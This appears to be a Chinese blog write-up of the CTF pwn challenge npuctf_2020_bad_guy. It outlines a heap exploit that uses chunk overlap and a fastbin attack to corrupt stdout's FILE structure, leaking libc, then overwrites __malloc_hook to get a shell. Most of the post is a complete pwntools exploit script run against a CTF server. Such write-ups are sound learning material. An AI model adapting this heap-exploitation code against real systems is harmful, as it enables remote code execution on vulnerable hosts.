寒假训练 npuctf_2020_bad_guy(11/250)利用overlap与fastbin attack来篡改fd指针,从而通过stdout达到泄露libc

题目其实本身不难,但我太菜了,这种基础题不会写,其次有个疑问就是为什么stdout可以泄露libc,还没有逆过这个函数,所以还不是很清楚

思路

  1. 由于没有show函数,所以只能通过stdout来leak libc,而这程序的edit函数有overlap,所以我们可以先把一个chunk放入unsorted bin中
  2. 在通过fast bin attack来修改我们fast bin的fd指针,指向我们之前的unsorted bin中的chunk
  3. 接着在修改unsorted bin中的chunk的size为0x71(因为内存有0x7f的大小,偏移为0x43),就可以写入stdout的file结构体了,这时我们泄露了libc
  4. 接着再用fast bin attack劫持malloc hook即可

exp

from pwn import *

def add(idx,size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('Content:')
    p.send(content)

def edit(idx,size,content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content: ')
    p.send(content)

def delete(idx):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def pwn():
    libc=ELF('../libc-2.23.so')
    add(0, 0x18, 'pppp')
    add(1, 0xc8, b'p'*0x68+p64(0x61))
    add(2, 0x68, 'pppp')
    add(3, 0x68, 'pppp')
    add(4, 0x68, 'pppp')
    delete(1)
    add(1,0xc8,'\xdd\x45')
    edit(0,0x20,b'p'*0x18+p64(0x71))#1
    delete(2)
    delete(4)
    edit(3,len(b'p'*0x68+p64(0x71)+b'\x20'),b'p'*0x68+p64(0x71)+b'\x20')#2
    add(4,0x68,'pppp')
    add(2,0x68,'pppp')
    add(5,0x68,b'ppp'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'\x00')
    libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600
    print(hex(libc.address))
    malloc_hook=libc.symbols['__malloc_hook']
    system=libc.symbols['system']
    delete(3)
    delete(2)
    edit(0,len(0x18*b'p'+p64(0x71)+p64(malloc_hook-0x23)),0x18*b'p'+p64(0x71)+p64(malloc_hook-0x23))
    add(4,0x68,'/bin/sh\x00')
    add(5,0x68,b'p'*0x13+p64(libc.address+0xf1147))
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Index :')
    p.sendline('2')
    p.recvuntil('size: ')
    p.sendline('50')
    return True
    
    

if __name__ == "__main__":
    while(1):
        try:
            p=remote('node3.buuoj.cn',26593)
            pwn()
            p.interactive()
            break
        except Exception as e:
            print(e)
            p.close()
            continue

 

上一篇:File类


下一篇:[.NET] SQL数据分页查询